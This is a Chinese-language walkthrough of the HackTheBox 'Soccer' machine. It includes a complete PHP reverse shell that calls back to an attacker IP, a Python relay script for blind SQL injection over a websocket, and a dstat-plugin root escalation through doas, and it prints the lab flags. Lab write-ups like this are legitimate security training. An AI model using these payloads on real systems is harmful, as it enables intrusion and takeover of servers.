目录
•信息收集[1]
•端口扫描[2]•目录扫描[3]
•漏洞探测[4]
•web后台登陆页面[5]•shell后收集[6]•websocket之sql注入[7]
•提权[8]
•doas+dstat提权[9]
•总结[10]
信息收集
端口扫描
nmap -sV -p-1000 10.10.11.194
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录扫描
sudo python3 dirsearch.py -u http://soccer.htb/
http://soccer.htb/tiny
是一个后台
漏洞探测
web后台登陆页面
尝试万能密码失败。进行搜索。
得知是一个服务器文件目录程序后。进一步搜索。
成功登陆。具有文件上传功能但是没有当前目录下没有上传权限。可以看到在tiny/uploads下有上传权限。那么上传一个反弹shell上去。
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/bash';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...n";
} else {
echo "DAEMONIZE: Completed successfully!n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shelln";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminatedn"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminatedn"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failedn"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.18', 1113);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
成功getshell。
在/home/player找到了user.txt但是没有权限。因为当前用户是www-data。那么我们需要先提升到player
shell后收集
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
find / -type f -perm -04000 -ls 2>/dev/null
70968 44 -rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas
18263 140 -rwsr-xr-x 1 root root 142792 Nov 28 04:55 /usr/lib/snapd/snap-confine
7696 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14300 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
16207 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
7700 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
1753 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
2093 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
1752 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
1647 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su
13720 44 -rwsr-xr-x 1 root root 44784 Nov 29 11:53 /usr/bin/newgrp
3023 84 -rwsr-xr-x 1 root root 85064 Nov 29 11:53 /usr/bin/chfn
1724 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
1573 1156 -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /usr/bin/bash
3027 68 -rwsr-xr-x 1 root root 68208 Nov 29 11:53 /usr/bin/passwd
3026 88 -rwsr-xr-x 1 root root 88464 Nov 29 11:53 /usr/bin/gpasswd
3024 52 -rwsr-xr-x 1 root root 53040 Nov 29 11:53 /usr/bin/chsh
2242 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
135 121 -rwsr-xr-x 1 root root 123560 Nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine
814 84 -rwsr-xr-x 1 root root 85064 Mar 14 2022 /snap/core20/1695/usr/bin/chfn
820 52 -rwsr-xr-x 1 root root 53040 Mar 14 2022 /snap/core20/1695/usr/bin/chsh
889 87 -rwsr-xr-x 1 root root 88464 Mar 14 2022 /snap/core20/1695/usr/bin/gpasswd
973 55 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /snap/core20/1695/usr/bin/mount
982 44 -rwsr-xr-x 1 root root 44784 Mar 14 2022 /snap/core20/1695/usr/bin/newgrp
997 67 -rwsr-xr-x 1 root root 68208 Mar 14 2022 /snap/core20/1695/usr/bin/passwd
1107 67 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /snap/core20/1695/usr/bin/su
1108 163 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /snap/core20/1695/usr/bin/sudo
1166 39 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /snap/core20/1695/usr/bin/umount
1255 51 -rwsr-xr-- 1 root systemd-resolve 51344 Oct 2
shell掉了。这玩意儿还会自动清空shell?会自动断线服了。这个shell不稳定换一个。也会断。麻了。没python环境。
这里我首先注意到了doas是以root执行的,百度了一下doas可以用来代替sudo。
但是!www-data不能使用这个doas。因此这条路应该是后面升级到player后的提权到root。
从linpeas.sh收集到了一个子域名.
soc-player.soccer.htb
https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
我们添加解析记录
echo "10.10.11.194 soc-player.soccer.htb">>/etc/hosts
然后访问该地址。随意注册登陆后。在源码中发现了这个东西。创建了一个新的websocket。
到这里不会了。看了看wp,这里是一个websocket的sql注入。没见过
websocket之sql注入
这里不会了。查了一下wp。发现这里是一个教websocket的sql注入。
这里是一篇websocket_sql注入的文章。没有讲具体的原理,讲了与sqlmap一起实现盲注。
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
对于他给出的脚本我们需要修改这两处。
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9001"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"',''') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
盲注太慢了。因此直接抄了结果。
这里拿到了账户。
提权
登陆player之后,我们可以获取user.txt
241aa81bec7c6f3fedf19446f4f4f873
根据前面的收集,可以知道doas来进行提权。
doas+dstat提权
尝试读取doas配置文件cat /etc/doas.conf
发现读不了,不存在。
那么查找一下
find / -type f -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
dstat有个功能就是提供了用户自定义插件的能力,既然用户可以自定义,那么当这个命令可以被sudo调用时,且插件目录可写的时候,就可以利用插件进行提权.
对于dstat常用的目录有下列,一般二个没有权限。那么我们选择第一个。
/usr/local/share/dstat
/usr/share/dstat
cd /usr/loac/share/dstat
vim dstat_rev.py
import subprocess
subprocess.run(["bash"])
doas /usr/bin/dstat —rev
随后就会开启一个root权限的bash_shell
cat /root/root.txt
d521653cad82ca6372f5958de8648f07
总结
这个靶机知识点和利用都比较简单。
主要是某些知识点没有见过。
首先我们在通过信息收集到了后台登陆页面
→随后通过谷歌搜索找到了默认的账户
→登陆后台后,发现了文件上传点。通过文件上传拿到了www-data的shell
→拿到shell后进行进一步收集,发现了很多利用点。但是都没办法利用,最后找到了一个子域名
→在子域名存在任意注册登陆,发现了websocket功能
→对websocket进行exp搜索,发现了一个盲sql注入的exp,进而拿到了一个初级的靶机账户player
→通过player账户后,我们继续搜索root可以执行的程序。发现了doas,并通过搜索得知了其功能
→通过doas.conf得知了可以以root执行dstat。再百度dstat得知了其可以自定义插件
→那么就利用自定义插件然后任意文件写入。拿到root权限
References
[1]
信息收集: #信息收集[2]
端口扫描: #端口扫描[3]
目录扫描: #目录扫描[4]
漏洞探测: #漏洞探测[5]
web后台登陆页面: #web后台登陆页面[6]
shell后收集: #shell后收集[7]
websocket之sql注入: #websocket之sql注入[8]
提权: #提权[9]
doas+dstat提权: #doasdstat提权[10]
总结: #总结
原文始发于微信公众号(靶机狂魔):Hackthebox——Soccer
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论